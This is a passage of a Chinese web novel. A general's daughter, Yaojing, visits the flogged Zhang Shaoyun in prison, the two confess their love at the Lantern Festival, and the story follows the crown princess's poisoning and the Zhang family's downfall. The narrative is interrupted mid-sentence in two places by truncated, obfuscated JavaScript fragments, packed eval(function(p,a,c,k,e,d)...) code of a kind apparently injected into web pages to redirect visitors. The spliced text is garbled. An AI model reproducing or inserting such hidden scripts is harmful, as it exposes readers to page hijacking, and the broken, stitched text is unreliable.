张绍筠因私贩军马而被下狱的消息传入瑶镜耳中时,她正在读最新一期的话本,闻言顿时站起身来,却不慎一个趔趄,连带着桌上的茶盏、书册一起被她拂落在地。 “阿镜,你先别慌。”将消息带来给她的贺重明上前几步,扶住她的肩,“事情如何如今尚未有定论,张家公子如今,也未必就是死局。” 瑶镜茫然地望向他,下意识点了点头,心底却早已乱成一团。 她曾以为她与张绍筠之间,最多也就是这样了。她陪伴着他走过京城,他陪着她寻访街巷,待到合适的时机便两相道别,她出京城,他继续留在此处当他的富贵公子;而他们之间的关系,至多也就是甘愿为彼此交付性命的同伴而已,不会少于寻常友人,却也止步于此。 可是她却从未想过,自己对张绍筠,似乎当真是不一般的——否则也不会在此刻茫然至此,如失魂落魄一般。 她曾一度以为张绍筠永远都不会有事。他在京城这么多年,虽小灾不断,却从无大祸,久而久之,她便也顺理成章地觉得他是超神一般的存在,无论遇到何种险境,都能永远游刃有余,轻易破局。 这时瑶镜才恍惚地意识到,她早已离不开张绍筠,而这情感并非好友之间的风光霁月,而是之死靡它的儿女情。 所以,他……还能平安地度过这一劫么? 莫名的惊惶和恐惧堵在心中,堵得生疼。瑶镜不知自己这种情绪因何而来,但她非常清楚,那种无力的感觉,足以摧毁一个人所有的理智与冷静。 湿意漫上了眼眶,她深吸口气,转开头。 瑶镜强装的冷静理智在翌日夜里,贺重明告知他张绍筠被太子亲鞫,虽然有张尚书在一旁尽力周旋,却仍被杖了八十,囚于刑部等候发落的时候尽数消散于无形。 她面带惊愕地转头看向他,眉宇之间满是不可置信与寻求确认:“八……八十?” 贺重明沉沉点头。 瑶镜立时起身。贺重明千想万想,却从不曾想到她竟会如此行事,冷静如他一时间竟也怔了一下,随即便连忙去拉她。瑶镜虽顺着他的动作而停驻,却紧抿着唇,仰起头来直直看着他,眼底闪着恳请又坚决的光芒。 “哥哥,我得去一趟,至少给他送些吃食暖衣。他向来养尊处优,八十杖对他而言若医治不当,那会丢掉半条命的——” 她双手合十,央求似的看着眼前人,“我知道咱们家向来不会牵扯进复杂朝局之中,但我真的,只是想见他一面,我知道哥哥你一定有办法对吧……拜托了,只此一次,下不为例。” 她虽与贺重明亲近,却敬重居多,鲜少如此任性,也鲜少以这样的口吻来央求他什么。贺重明何其了解瑶镜,只是一瞬便已想通其中真意。他皱了皱眉,未等瑶镜再说什么便已沉声发问:“你动了真情?” 瑶镜颤着唇,默了许久,最后垂下头去,声如蚊讷:“对不起……” 贺重明简直要被她气笑:“你有什么对不住我的?再说了,张家公子自有太子妃殿下帮衬,何须你多此一举?” 起初将此事告知于她时只是担心她为此茶饭不思,谁料她今夜所做之事更是出乎意料,本就没好气,见她如此,更是莫名愠怒,正想发火,却见她一把拽住他的胳膊,嗫嚅道:“哥哥……” 贺重明看着瑶镜这副模样,本来得知此消息后满腹的质问不忿,如今却都化作了无奈叹息。 “行,好。”他顿了良久,最后一脸不情愿地颔首,两个代表应允的字脱口而出,却是一字一顿。贺重明望着瑶镜不住摇头,恨铁不成钢般以指节敲上她的前额,“你猜得倒不错,但我手中的办法最初可不是让你这么用的……算了,阿镜,我只帮你这一次。” 瑶镜被狱卒引领着向前走去,身后是越来越暗的光芒,身前则是无尽的黑暗。她心中有些害怕,刑部大狱中安静得可怕,她只能听到自己细微的脚步声,此刻已近深夜,牢中囚犯也是无人出声,或是已然沉沉睡去,又或者,已经根本没有开口的必要。 待到他们终于走到张绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不说还好,一提自己的伤势,瑶镜只觉得方才强行忍住的泪意又要决堤,反倒忽略了他那句“我想你”之中暗含的缱绻情愫。她靠着栏杆坐下来,定定望着他,良久后方才轻声问道:“伤势可有好转?” “顾内人方才送来的药很是管用,大概再养一阵,就能好上许多了。”张绍筠看着她,瑶镜也直直与他对视,眼底平静无波,却是对他的话语不知可否。两人互相对望了不知多久,张绍筠这才深吸一口气,原本强自支撑的平静面容也逐渐变化,逐渐带上了痛意。最后,他龇牙咧嘴,自牙边挤出一句: “……真疼啊。” 瑶镜定定望着他,本来还算伶俐的她,此刻却一句话也说不出来。 直到他的手跨越监牢的铁栏,微微颤着却又满含坚定地触上她的左颊,她这才发觉自己不知何时湿了眼眶。 “别哭啊,瑶镜……”张绍筠的动作异常温柔,在她眼角轻轻刮过,“每次见你流泪,我便也觉得自己的心像少了什么,总是心疼你。瑶镜,我想努力让你每日都开开心心的,再无烦恼与忧愁。这样当日后垂垂老矣,再行回想往事之时,也总会感到此生无憾,无怨,亦无悔。你不该哭的——我更不该让你流泪。” 瑶镜别过头去,没再说话。只听刑部大狱中的烛火噼啪,两人却都没再言语,瑶镜跪坐在一旁沉默着,心中却不知为何,忽然想到两人于罗摩族的初见。同样是噼啪的烛火,同样是相对无言的两人,可她那时的心境于此刻相比,简直是天差地别。 有狱卒低声提醒她时间将至。瑶镜没有再说什么,只沉默着起了身,整理了一下衣裙,便转身想要离开。 谁料没走出几步,便听张绍筠在一旁轻声问:“瑶镜,你说,我还能当上舅舅吗?” 他的语气极为平淡,听来却是格外令人绝望。 方才强撑的镇定倏而崩塌不见,从未有过的悲痛和恐惧忽而席卷而来,瑶镜转头望着逐渐隐于黑暗中的故人,于刹那之间泪如雨下。 她轻轻开口:“你要撑住——你绝对不会有事的。” “这说的是什么话?”她眼底分明闪着泪光,偏偏她的话语却又是一本正经。张绍筠只觉着此刻的她尤为惹人怜惜,不由得失笑,“你说没事就没事了吗?瑶镜,你可能不知道军马一案牵扯多广,又有多严重……若我当真……” “我是与明月极有缘分的小娘子,别忘了我的名字意义何在。”提及结局,他支吾难言,瑶镜却不待他多说,径直接过了他的话。 “我可是嫦娥仙子,是九天之上的神仙。我在天庭水镜探查下界景象之时,偶然见你遭难,这才前来助你一臂之力。”她装模作样地想了半刻,方才揪着手指,悠悠道,“你的命簿,我曾在下凡前某日好奇偷偷翻阅,因此对人间之事了如指掌,你这次会没事的——无论遭受何等磨难,你此次定会化险为夷。我同你保证。” 昏暗的大狱之中,张绍筠微微眯着眼,迎着昏黄的灯光望向声音的方向。瑶镜立在暗色的灯火之中,身形挺得笔直。他看不清她的神情,只能看到她侧着身子,微微仰着头,望的正是他的这个方向。 一瞬间,他那本不抱什么希望的心,似乎忽然燃起了点点明光。 他思虑半晌,方才直视瑶镜,与她四目相对,一字一顿,掷地有声:“遵法旨。” “张绍筠会活下去的。无论何时,他都会拼尽全力来见你。” 12. 关山月(六) 离开刑部之后,瑶镜提心吊胆地过了好些天。一方面她害怕听到军马案结,张绍筠被惩处的消息,这样她绝对无法接受;可她亦迫不及待想要听到些新的消息,哪怕是道听途说也好。她受够了每次询问叔父时只能得到他摇头叹息的回应,她也不想再央求元英给她来信时多说上些她捕风捉影听来的似是而非的传闻。 直至数日后的上元之夜,临近黄昏时她坐在家中的秋千架下一晃一晃地荡着秋千。京城中的上元灯会规模极大,九衢三市,盛况空前,她向来闲不住,每年都央着叔父带着她出门,后来叔父事务繁忙,她又逐渐长大成人之后,总随她去灯会的人变成了贺重明和许元英。只是今年,她却再没了感受上元灯火的兴致。 她晃着秋千,望着屋檐之外的万丈霞光,看着家中灯火逐渐亮起,却仍在发呆,过了许久仍未回神。不知多久过去,暮色苍茫之时,瑶镜忽然听到有人唤她的名字。 她骤然抬眼。 最后一缕晚霞沉入地底,天际沉重的墨蓝色亦逐渐变暗。上元之夜的明月挂在高空,万家灯火,锦绣辉煌的花灯之下,有人正隐在树下。她骤然起身,那人已自树后走了出来,笑吟吟的眼被月色映得极亮。那是瑶镜极为熟悉的故人,他此刻正站在庭院中望着她,笑如春风。 张绍筠看着瑶镜,轻轻唤道:“瑶镜。” 瑶镜本以为他如今仍在狱中,就算已然无事,也要先回家中再找时间来见她,却不料骤然与他相见,着实被他吓了一跳。 她几乎是第一时间就想冲过去问一问他可是全都好了,若好了,你是今日才出狱吗,之前怎么一点消息都没有;若未好,你又为何不顾自己的伤跑出来吹风? 可是最后,她看着张绍筠温和的笑脸,却是一句话都问不出来。愣了一瞬,叹了口气,应了一声: “你回来啦?” “是。我回来了。今日是上元节,父亲不拘着我,我来带你去街上看灯。”却听张绍筠低声温语,又唤了她一声,“……瑶镜。” “嗯,我在。” “……瑶镜……” “怎么?”瑶镜瞥了他一眼。 “没什么,”张绍筠摇摇头,却伸出手来,轻轻握住了瑶镜的手。 “我只是想唤一唤你。” 他平日虽无拘无束,可其实他并不善言辞,更不善表达,虽然军马案时的刑部狱中,他们两人都已清楚他们之间越过友人的关系,可这个动作于他而言,也依旧有些突兀。瑶镜先是讶然,随即幡然醒悟,甚至能感受到张绍筠的紧张与珍惜,也展颜而笑。这次她并未挣脱,也并未如先前被张绍筠扯住衣袖时的那般无措,而是紧紧地回握住了张绍筠。 虽不言语,却是将彼此的心事猜了个真切。 劫后余生,二人对视,良久之后,均是莞尔。 瑶镜没有再问他为何忽然来了自己家中,也没再问两人出府看灯一事是否已让家中得知,只是心中对他有莫名的信任,故而她这一夜什么都没想,只随着他的牵引向前走去。于是在汴京城人来人往的市集之上,繁华至极的街景之前,他们相携而行,虽未明言,却相视一笑,一切尽在不言中。 那天瑶镜非但同张绍筠去瞧了花灯,猜了灯谜,甚至还同他一起去看了汴京城中百姓的踏歌。 踏歌本就为京城中百姓最为津津乐道的活动,而上元又是大节日,一曲规模浩大的踏歌自然也是少不了的。歌声悠长,人声鼎沸,鼓点激烈,舞步轻快,欢乐的笑声仿佛能一直传到长空之外。瑶镜看得心痒,一时兴起,拉着张绍筠便要加入踏歌的队伍。张绍筠一脸为难,摇着头连连道自己不会,若是加入其中定会出丑,她心底坏笑更甚,面上却不露半分,行走的脚步却更快了些,言道只自己会便可以了,大不了她来教他。可到头来,却发觉他哪里是不会,虽然笨拙,可动作反倒是极为娴熟,似乎先前便曾跳过相同的舞。 她有些气不过,怒看过去,却见张绍筠一脸温柔的笑意,轻轻执了她的手,拉着她继续融入到欢快的乐声之中。她随着歌声而旋转,花罗制成的间色裙在灯下耀眼夺目,裙上所饰的珍珠腰饰碰撞起来,发出悦耳动听的声音。 那时她满心的质问与不忿,便尽数化为无形了。 两个人一直闹到夜色正浓之时,这才稍事休息。张绍筠不时咳嗽几声,待瑶镜担忧地望着他时,却又佯装如常,而瑶镜的额上亦有细密的汗珠,记忆之中她已太久未曾如此开心过,两人在沉默中明白确认了一切之后,她与张绍筠说话时更是舒心了不少。她举着盏鱼灯,扬声问道:“我们回去吗?” 张绍筠默了一瞬,却忽然说起那些独属于过去的事情:“你知道,我为何一直唤你‘瑶镜’,而不与你父母兄长一样唤你‘阿镜’吗?” 他这话问得无头无尾,瑶镜不由微微一愣,过去张绍筠那仿佛来自于遥远曾经的呼唤似乎复又在她耳畔响起,带起她的点点回忆。她并未回答,却将他的手握得更紧了些,权当是自己的回应。 于是她听着张绍筠再次同她讲起过去他的心潮起伏。 “我还记得你我初见的时候,罗摩族火光冲天,但那夜月色桂华皎洁,千里一轮明月,甚是晶莹,也甚是明净。你就站在冲天的烈火前,在这样的月色映照下回过头看我,眉眼被烈焰与皎月映得晶亮,我看着你,恍惚之中竟以为是天上仙子下凡。 “那时我忽然想起你的名字。瑶镜,你和明月是一样的,同样温暖,也同样夺目。所以那时的我便已存了结识你的心思,无论你是白身还是公卿家的女儿,我都想与你结识,与你的交集多些,再多些。” “……所以后来,你当着爹爹和张尚书的面说的那些话,其实早已打过了腹稿么?”瑶镜接过话来,无比自然。 “我那时知道你是贺将军的千金,你都想不到我有多惊喜!经此以来,你我的结识自然是顺理成章的事,哪里有什么腹稿,我当时震惊又欢喜,唯一能想到的念头,便是尽力留住你,不让你我的缘分断在嘉荫关。起初我什么都不懂,不明白自己对你如此在意是为了什么,也不明白我为何总想带你去更多的地方,将我在京中所见的一切有趣的物事都带给你看。但后来我逐渐发现,我已习惯了你在我身边。我喜欢在你面前说上许多琐事,甚至发泄自己无关紧要的情绪,我还喜欢喝你泡的茶,喜欢听你讲你最近的事,还有你曾去过的地方、你爹爹守着的巍峨南关。 “后来军马案发,你去牢中见我,我好像终于明白了很多事——你不该是落着泪的,无论何时,无论何地,你都不该像那日一般流泪。你应该像之前在姐姐办的赏花宴上那样,又或者,如我们过去在书市,你捧着话本向我看过来的那一眼。明月应该永远皎洁,永远温和,无忧无虑,平安喜乐。 “我想让你一直这样笑,我想让你一直做这天下最皎洁的明月——”张绍筠似乎低低笑着叹了口气,语声转低,复又转低,一句话至最后已近微不可闻,“……也是我心中的明月。” 瑶镜微微有些愣怔,下意识向天边看去,绚烂的烟火不知何时已然升起,华美而奇异,变幻莫测。无数耀眼的鲜花与飞鸟自天边展开翅膀高高飞起,然后又化作漫天星辰,在圆月的照耀之下纷纷洒落。 焰火轰鸣声中,过了好一会瑶镜才开了口:“怎么想起说这个了。”她声音模糊,却并非疑问。 两人在微凉的夜风中静默许久,直至一轮焰火已步入尾声,张绍筠这才开口:“在刑部的时候,爹爹知道你来看过我。” 他用的是肯定的语气,短短一句话却包含了许多信息。瑶镜听的一愣一愣,想了半晌也没有全想明白。 “其实爹爹他,一直知道你我之间的来往,但他一直不赞同。”张绍筠却似并未留意她的异常,而是接着说了下去,他并未看她,而是垂目盯着自己的鞋尖,“然而此次,他虽未多说什么,却再未反对你我相见。” 瑶镜一头雾水,完全搞不明白他这样顾左右而言他是什么意思,待豁然明白过来后,心中却又五味杂陈,有丝丝缕缕的悸动自她心底涌现,却如在雾中,看不真切。 “瑶镜,我知道我有很多问题。”张绍筠叹了口气,放开了她,甚至向后退了一步,垂下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太多话堵在唇边,瑶镜看着一脸黯然的张绍筠,竟有些语塞,默了良久,这才望着他认真开口。她的声音之中并无太多情绪波动,也并不如何响亮,可是一字一顿,极为清楚。 她说:“张绍筠,你特别好。你所说的那些并不该由我来施舍,而是你应得的——你本人应得的绝不止是你所言的那一个机缘,你值得拥有世间最美好的一切。” 又是新的焰火升起,较之方才更为绚丽,京城之中的人们似乎将对新一年的所有期许尽数融进绚烂而华美的焰火之中,祥云环绕,仙界缥缈,有彩衣飘带的仙子在空中起舞,而后又有释教那些伎乐飞天于夜空之上弹奏琵琶,不远处的乐坊里好似当真有人随之弹起了琵琶,与烟花绽放的沉重“轰”声相映,却异常和谐。夜空之中色彩斑斓,流光溢彩,似幻如真,同皎洁的圆月交相辉映。 瑶镜就在这样夺目耀眼的烟花之中望着张绍筠。他们身后的厚重夜空之上,如彩虹般的七色团花骤然绽放,而后又缓缓旋转起来。如精妙的白瓷,又如五彩的丝帛,绽放出绚烂的华美光彩。而焰火之下的张绍筠双眼忽然亮得璀璨夺目,眼中漾着浓浓的惊喜。天际的焰火在他眼底闪烁,而他眼中的明光如此耀眼,似乎比她眼前的任何真实场景都要更为令人惊叹。 然后瑶镜就这样看着这双眼的主人向她伸出手来,不过瞬息便已揽住她的双肩,这一切的发生只在弹指间,瑶镜还未回过神来,自己僵硬而又有些微微发抖的身影被他揽进了怀中。 月夜之下,他的怀抱一如其人,温暖而又令人安心。他揽住她的力气极大,甚至让她的身体都感到了微微的疼痛,仿佛要将她连人带着血肉尽数融入他的怀中。瑶镜被他这极大的力气逼出一口气来,随即却又深深长叹,撤除了浑身的僵硬,唯余似乎能容纳一切的柔软,尽数交付给了那个她心中的男子。 她就这样靠在张绍筠的怀中,感受着他逐渐粗重的呼吸,感受着自己跳动得愈发剧烈的心脏,以及心底逐渐泛起的那种有如失而复得的喜悦之情,最后缓缓伸出手来,回抱住眼前的少年人。谁都没有说话,谁都不曾再动,可个中深意,他们二人却均是明白的透彻。而他们亦是都已明白,自此之后,他们二人再也不会分开,哪怕只是一瞬光景。 13. 关山月(七) 而后的事便极其顺理成章。 贺重明在知道这些事时只叹了口气,没有表达过什么反对之意,后来面对张绍筠的邀约也权当没有看见。瑶镜知道自家兄长过去真心实意的告诫都事出有因,也知道他对张绍筠甚至身在官场倾轧之中的张陆正的复杂心情,故而没敢继续追问他上元灯会的事,可以她对贺重明的了解,当他在上元当夜默许了张绍筠带她出游,便也是默许了他们如今这样的关系。 元英不在京城,可瑶镜却忍不住想让她快些知晓此事,连夜给她去信讲了许多,没得到任何回应,反倒迎来了风风火火赶回京城的元英。她拉着她的手看了她半天,在瑶镜终于不耐烦时终于憋出一句:“瞧你如今这模样,却也不像已对谁芳心暗许了啊?” ——这话换来的是瑶镜重重锤过去的一拳。 贺重明虽是兄长,可不论如何也是平辈,有些不敢同长辈讲的纷乱言语,瑶镜在面对他时倒少了很多顾忌,况且他又向来与她亲近,自一开始便已无形见证了她与张绍筠之间的一切,因此将自己心底的女儿情思告知于他倒也罢了,可无论是爹娘还是叔父叔母,瑶镜都没有将此事告知他们。 许是自己心中确实还有些顾虑,又或许是因为贺家向来自由的家风。只要她没有做出出格的事来,那家中长辈无论如何,总不会出言反对,他们或许会与她讲清利弊,可若她已做出选择,那他们便不会干涉。 瑶镜与张绍筠走得更近了些,之前因为张念之成了太子妃,下帖邀贵女出府相会需有正当缘由,他后来每次来约她出门便总是借着张颂之的名号,但如今之后张绍筠想与她同行之时却会亲自递上拜帖,堂堂正正以刑部尚书家公子的身份邀约。 瑶镜起初觉得他鲁莽,可想到上元那夜他们在月色与焰火之下的那番话,还有那个无人言语,却刻骨铭心的拥抱,她反倒觉得此刻再扭捏下去,其实会适得其反。 张绍筠经常带瑶镜去京城之中的市集。虽然他不通文墨,但非常喜欢看瑶镜在市集中兴奋地挑选各种小玩意儿的模样。每当瑶镜发现什么有趣的东西,或是什么孤本残章,或是她常用的胭脂水粉,甚至是一盏灯,一支发簪,一块糕点,他却总表现得比瑶镜本人还要开心,面对瑶镜欣喜的目光,他憨厚的笑容却又颇为有趣,就好似先前那个坚强决然,临危不惧的张绍筠从未出现过。 他甚至还会做出极其孩子气的举动,他会在瑶镜正聚精会神之时自身后猛地捂住她的眼,以满含笑意的声音低声问她:“猜猜我是谁?” 然后他总会听到瑶镜无可奈何的怒喝,惊起一地落花。 他们经常出京,去郊外踏青赏花。先前张绍筠虽常带她游玩京城,却都集中在最繁华的街坊巷陌,极少离开汴京城,可如今,他却带着她登上京郊的数座山峰。瑶镜喜欢登山,无论是苍茫浩瀚的辽阔雪峰还是绿意盈然的江南山水,她都喜欢以自己的脚步一一踏遍。张绍筠一早便明白这点,他虽体力不是很好,却总愿陪瑶镜一同前往,一路同她说上些这座山的怪谈趣事,虽在登山途中总是似真似假地嚷嚷自己已然疲惫至极,可他的脚步却从未落后瑶镜太多。 那时瑶镜总会穿一身鹅黄色的春衫,粉色的妆花纱裙,宛如春日花丛中盛开的第一朵花,行走在春日的汴京城郊,她与张绍筠就是其中最美的一道风景。春去秋来,京郊山峰之上群花次第开放,从桃花至梨花,又到更远的桐花与芍药。瑶镜向来喜欢赏花,每每总在花丛中停驻良久,有时还会取下一朵花簪在鬓边,张绍筠虽不太懂得欣赏这样的风景,甚至在他看来,无论哪种花朵都是一样的,并无太多分别,可他却喜欢站在一旁,带着丝笑看瑶镜在花海中奔跑流连。甚至有时他还会极其笨拙地模仿起鸟鸣,试图让瑶镜大笑——而瑶镜每次也不负所望,先是下意识的惊吓,随即便被他的可爱举动逗得忍俊不禁。 虽然张绍筠不擅长写字作画,可他却喜欢与瑶镜一起读书。瑶镜喜欢读话本杂传,更喜欢读前人行记,而后默默记下前人笔下的那些魁奇俏拔的风景,还有那些独具特色的人文风情。张绍筠虽大多时间都身在京中,却亦是心向天下山河,一直梦想着有朝一日能离京闯荡,携剑与酒踏遍河山——虽然瑶镜心底认为这极不现实,张绍筠甚至不通武艺。后来两人在读前朝某本行记之时,惊讶地发现彼此都对河西情有独钟,对那连绵的祁连雪峰与苍茫的大漠孤烟心向往之。瑶镜仍在发怔,却听身旁张绍筠玩笑一般地握紧书册:“瑶镜,我们或许会在河西再会。” 他还总能找到一些奇奇怪怪的小玩意儿送给瑶镜。番邦的自鸣钟,精致的莲花茶盏,还有他自己做的瓷器。那是个玉兔的形状,它正站在月下遥望星辰,月色明亮,而玉兔憨态可掬,极为可爱。瑶镜不住笑出声来,问身边人:“我记得你不是非常不擅长这些的吗?这件白瓷我觉得极好啊。” 对面张绍筠摇起折扇,笑得得意:“当然好了!本公子可是接连做了一月,失败了无数次才换来这样的一件白瓷——瑶镜,你看它像不像你?你不就是月下的美人吗?” 瑶镜听得几分感动,几分安心,却不知为何又有些难言的复杂。 张绍筠并不擅长手工,甚至有时让他帮忙握一下丝线他都能极其笨拙地将其掉落在地,可他愿意为了她的欢心而耗费一个月的时间在这些繁琐的手工之上。瓷窑中的烧制过程极其复杂,且还烟熏火燎,她很难想象这样一个耐心欠佳的贵公子,会用如此长久的时间做这样一件瓷器。 他虽然憨厚可爱,实则却不懂如何与心仪的姑娘相处,更是不会说什么甜言蜜语。以她对他的了解,上元那夜他所说的那些话已经是他最真心实意,也最富有文采的表达。但他实际是个极其让人舒心的人。他总会默默陪在她的身边,无论她是欣喜还是惆怅,只要回头,总能第一个发现他的存在。他会在她需要的时候给予支持与安慰,也会在她难过的时候留心她的喜怒,笨拙地哄她开心。 瑶镜并非没有感受过这样的关心与呵护,可那都是亲人之间的关爱,鲜少有这种夹杂着隐晦却又热烈的情愫的陪伴——而这让她感到无比安心与温暖。 瑶镜的生活逐渐变得平静,可靖宁二年却一直不甚平静。 开春不久,中书令李柏舟轰然倒台,而那为人清正的陆御史竟不知为何,被划作李氏亲族,连带意气风发,前途不可限量的陆文普公子一起阖族倾覆,仅有女儿陆文昔因身在长州,受刺史李明安庇佑而侥幸逃过一劫。张陆正当上了中书令,自此如日方升,平步青云,张绍筠也愈发盛气凌人起来。先是在街角因与人发生口角而一怒之下砸了摊子,再是在宫宴上提前离席,饮酒一直醉到酩酊。 瑶镜听闻此事时扯着嘴角,面色无奈,最后长长叹了口气,捂住了脸。 她就知道张绍筠不会听她的劝告,但没想到他的顽劣较之先前有过之而无不及,在张陆正刚刚高升这样敏感的关口,如此行径简直是上赶着为言官递话柄。她原想着劝他几句,可未待她劝,便听闻张陆正勃然大怒,罚他跪了数个时辰,还放出狠话说再敢如此决不轻饶,张绍筠这才收敛了些。 不久之后东宫传来喜讯,张念之身怀有孕,如今已过三月,胎象渐稳。瑶镜欣喜异常,张绍筠也高兴得手舞足蹈,在此之后更是刻意收敛,不再行差踏错。 他时常去东宫看望姐姐,陪她度过生产之前的漫长时光,甚至令太子本人都有些无奈。他每每来见瑶镜时,总是兴高采烈地同她说起张念之的近况,从“姐姐最近似乎不吐了”说到“瑶镜!孩子他昨日动了!我感受到他的动作了!”。 再然后,张念之却也离世了。据说是身中剧毒,太医束手无策,中毒当晚便香消玉殒,一尸两命。 瑶镜知晓此事时简直不敢相信:念之姐姐才二十岁!她嫁到东宫不过一年有余,她本该有漫长的康庄大道要走,她的生活原该是 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莫名地,瑶镜心底有一股名为“心疼”的情绪源源不断涌上来,将先前一直充斥在心房之中的惊愕、疑惑与不愿接受尽数拂了个干干净净。 她脚步轻微,缓缓走过去,坐到他的身侧。 “瑶镜,姐姐不在了。”他抬目望向她的那一眼带着前所未有的彷徨无措,“我上个月才见过她,她还告诉我说小外甥最近很乖,许是知道他爹爹政务繁忙,连扰都不再扰他。我问她,姐姐最近还缺什么吗?我可以帮你带过来。但姐姐她,她……” 他的声音沙哑,甚至带着几分微不可察的哽咽:“她只是摇摇头,然后拍了拍我的肩——少时我被惩处时总是去找姐姐,让她帮我周旋一二,那时她便总是如此拍我的肩,然后叹息,说我如此这般,以后该怎么办呀。我以为姐姐此次还会说这些,但她却满是欣慰,只说:‘姐姐的绍筠长大了’——” “我不明白。”他说着说着,声音却又哽咽起来,“姐姐为人纯善,从不与人相争,甚至向来以德报怨,从未与人生过气,甚至都不常对身边人高声言语。这样的人,为什么还有歹人想要害她?他们凭什么?他们凭什么啊?!” 他眼底的死水“轰”的一声炸开,声音如常,却又带着几分淡淡的变调,那是让瑶镜都为之震颤的绝望。她有心想把来此之前,曾听到的那条下毒之人已被杖毙的消息告知张绍筠,可见他这副模样,却又觉得仅仅是作恶之人受到惩处,却难抵眼前人丧亲之痛万一。 她欲言又止,而后方有几分艰难地开口道:“念之姐姐过去最大的愿望,就是你、中书令和颂之都能平平安安,顺顺利利地向前走。若是见你如此,她……不会开心的。” 张绍筠一时之间却是微微恍惚了一下。他看着眼前的瑶镜,缓缓伸出手去,伸到一半便惧怕似的停止下来,指尖却一直在微微颤抖着。他嘴唇嗡动,似是想说些什么,可临到最终,却只自唇边溢出一句:“她是这天下,极好极好之人。她不该,不该如此……她……”话至此处,他浑身发抖,眼眶通红,死死咬着唇,再说不出一句话来。 他的声音低沉,极似自言自语,又或者是淡而无情的冰冷阐述,可其间夹杂的痛楚与方才未却的哀伤却始终不曾掩盖,反倒愈发强烈起来,让瑶镜的心也不知为何,泛着丝丝缕缕的痛楚。 她沉默良久,这才伸出手来,轻轻抚上张绍筠的肩。他平静的神色终于碎裂,极慢极慢地抬眼望着她,少顷却忽然将她紧紧抱住。这突如其来的动作令瑶镜的身子骤然向后一仰,撞上了不远的立柱,发出沉闷的响声。她的后背被撞得生疼,可却出奇的并没有太多疼痛之感,更多的反倒是丝丝缕缕的酸麻,仿佛殚精竭虑之后终于得以休息,又仿佛行走在荒漠之上的旅人终于看到了前方绿洲的片片生机。 下一刻,中书令家公子的泪水在她的怀中彻底决堤。他没有嚎啕,甚至哭声都微不可闻,可滚烫的泪却不停落下来,很快便沾湿了瑶镜的衣襟。 14. 关山月(八) 后来瑶镜想,或许从张念之逝去的那一刻起,张家的衰败就已无法避免了。 张家本来因为长女为太子妃的原因一跃龙门,步步高升,可太子妃溘然长逝,死后虽葬仪极盛,可张家与东宫之间的纽带终究不再牢固。朝局风起云涌,行差踏错一步便是万劫不复,张陆正虽身居高位,可不知为何,与太子之间并不亲近,甚至有时还会如履薄冰地做事回话。 那时瑶镜不明白这背后的深层含义,只当这是太子与臣子之间的制衡忌惮,可当她知道张陆正因一己私心都做过什么之后,这才隐隐明白太子此举的真正缘由,和他先前曾强压下来的怒火与无奈。 张绍筠不再如过去那般常来找她,甚至连信件都不常写上一封。瑶镜明白他的伤怀与迷蒙,虽有意想陪着他,消解他的痛楚,可她明白张绍筠。他不愿让她总是看到他的软弱,先前在张念之灵堂之中的哭音已是极致,现如今张家不比从前,他也有太多事要做,此时此刻,他会希望她依旧做她的明月,而他也会在她见不到的地方努力向前。 汴京城秋景尚浓之时,瑶镜收到了父亲的传信。她的表姐在蜀中寻到了自己的良人,欲低调成婚,邀她前去观礼。瑶镜过去在嘉荫关时总是与这位表姐同游,而在她的少女情事上也曾出言点醒局中人,故而于情于理,她都该前去亲眼见证他们的幸福。 瑶镜在离京之前本想与张绍筠见上一面,但他却临时被张陆正召去,不知要他做些什么要紧事,再来不了城郊,只托人为她送来一条柳枝。 “‘送君灞陵亭,灞水流浩浩。上有无花之古树,下有伤心之春草’么?”瑶镜抿着唇,扬首看着驿站外满地的红叶,良久方才喃喃道,“……再会。” 而待她再回京城时,一切已然天翻地覆。 张颂之哭着来找她时瑶镜尚不知出了何事,不明所以地将人请了进来,甚至还本着待客的礼节,想着为她泡一盏茶。可不过一炷香的时间,瑶镜手边的茶盏便“砰”地碎裂在地,滚烫的茶水溅了一身,她却半分痛意也无,甚至未曾察觉。 她沉默半晌,这才自乱成一团的心底勉强寻回了寥寥几分神智,看着眼前泪凝于睫的故人,她双手攥拳,低声道:“所以这一切,已经没有转圜的余地了么?” “我不知道……”张颂之一滴一滴掉着泪,语声一如瑶镜那般沉重,“我不知道爹爹都做了什么,不知道太子姐夫会不会真的杀了哥哥,我也不知道我怎么会被莫名其妙指给广川郡王……阿镜,我得去见一见他们。不论此行是否便是生死两隔,不论能否成功,我都得去见他们一面——我不能就这样被蒙在鼓里,再见不到任何亲人,就这样孤零零被送到广川去!” 瑶镜撑着案几晃晃悠悠站起身来,她眨了眨眼,又将视线集中在张颂之身上。她心乱如麻,不断回想着这一日内如此纷乱无常,又如此令人伤痛的种种诸事,甚至,亦回想到方才她口中的那人。 她看到张颂之眼底燃着火焰。她的双颊满是泪痕,可她的眼与紧攥成拳的双手却带着与其截然不符的有力,其间仿佛蕴含着如排山倒海般的坚决。 其实她那时仍未回过神来,甚至仍旧没有从张颂之支离破碎的话语之中窥得几分这些事的真相,瑶镜指甲深深刺入掌心,刺痛袭来,这才恢复了几分神志,没有当场便方寸大乱、慌了心神。也是到这时,瑶镜才终于意识到张颂之方才话语之中的深层含义: 张家要倒台了,张尚书已命悬一线,连尚且天真,未曾入局的张颂之都难以保全。她放于心尖上的那人此刻也危机四伏。此次拼命一见定然机会渺茫,或许会被强硬拦下,又或许进了刑部大狱,却也根本见不到想见的人,但她们的确要试上一试。或许此次见面后便是生死两隔,又或许,此生亦难再见,她不能就这样与他道别,她不能让他们在未曾给对方勇气与支撑的境况之下,就让他们孤零零、无人相助、无人同行地走完终局。 她得去见张绍筠一面,他们不能就这样仓促而别。 瑶镜折了枝柳,除此之外什么都没有带,甚至连可能增加些微胜算的剑都没有携带——她又怎么可能打得过禁军?她戴着帷帽,随着张颂之一起来到刑部衙门,欲拼命一试,却一次又一次被门前手持刀剑的军士阻拦。 